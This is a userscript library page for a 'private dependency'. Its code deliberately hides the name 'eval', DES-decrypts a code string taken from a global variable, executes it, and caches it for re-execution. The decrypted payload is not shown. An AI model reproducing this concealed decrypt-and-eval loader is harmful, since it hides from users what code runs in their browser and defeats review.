私有不公开依赖

不公开依赖

当前为 2022-06-07 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.gf.qytechs.cn/scripts/446130/1058540/%E7%A7%81%E6%9C%89%E4%B8%8D%E5%85%AC%E5%BC%80%E4%BE%9D%E8%B5%96.js

// ==UserScript==
// @name         私有不公开依赖
// @namespace    Me
// @version      1
// @description  不公开依赖
// @author       lengXiang
// @grant        GM_addStyle
// @grant        GM_getValue
// @grant        GM_setValue
// ==/UserScript==

 (function () {
        function encryptByDES(message, key){
            var keyHex = CryptoJS.enc.Utf8.parse(key);
            var encrypted = CryptoJS.DES.encrypt(message, keyHex, {
                mode: CryptoJS.mode.ECB,
                padding: CryptoJS.pad.Pkcs7
            });
            return encrypted.ciphertext.toString();
        }
        function decryptByDES(ciphertext, key){
            var keyHex = CryptoJS.enc.Utf8.parse(key);
            var decrypted = CryptoJS.DES.decrypt({
                ciphertext: CryptoJS.enc.Hex.parse(ciphertext)
            }, keyHex, {
                mode: CryptoJS.mode.ECB,
                padding: CryptoJS.pad.Pkcs7
            });
            var result_value = decrypted.toString(CryptoJS.enc.Utf8);
            return result_value;
        }
        var xlet=[{i:3,t:"l"},{i:1,t:"v"},{i:2,t:"a"},{i:0,t:"e"}]
        xlet.sort((a,b)=>a.i-b.i)
        var xx=window[xlet.map(t=>t.t).join("")]
        window.tr=0
        window.special=setInterval(()=>{
            tr++
            if(typeof zs !="undefined")
            {

                try {
                    var zu=decryptByDES(zs.substring(0,zs.length-16),zs.substring(zs.length-16,zs.length))
                    xx(zu+";load_zhushou()")
                    console.log("正常")
                    GM_setValue("oxie",zu)
                } catch(e) {
                    console.log("出错")
                    xx(GM_getValue("oxie"))
               }
                window.zs=undefined
                clearInterval(special)
            }
            if(tr>2000)
            {
                clearInterval(special)

            }
        },50)
    })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址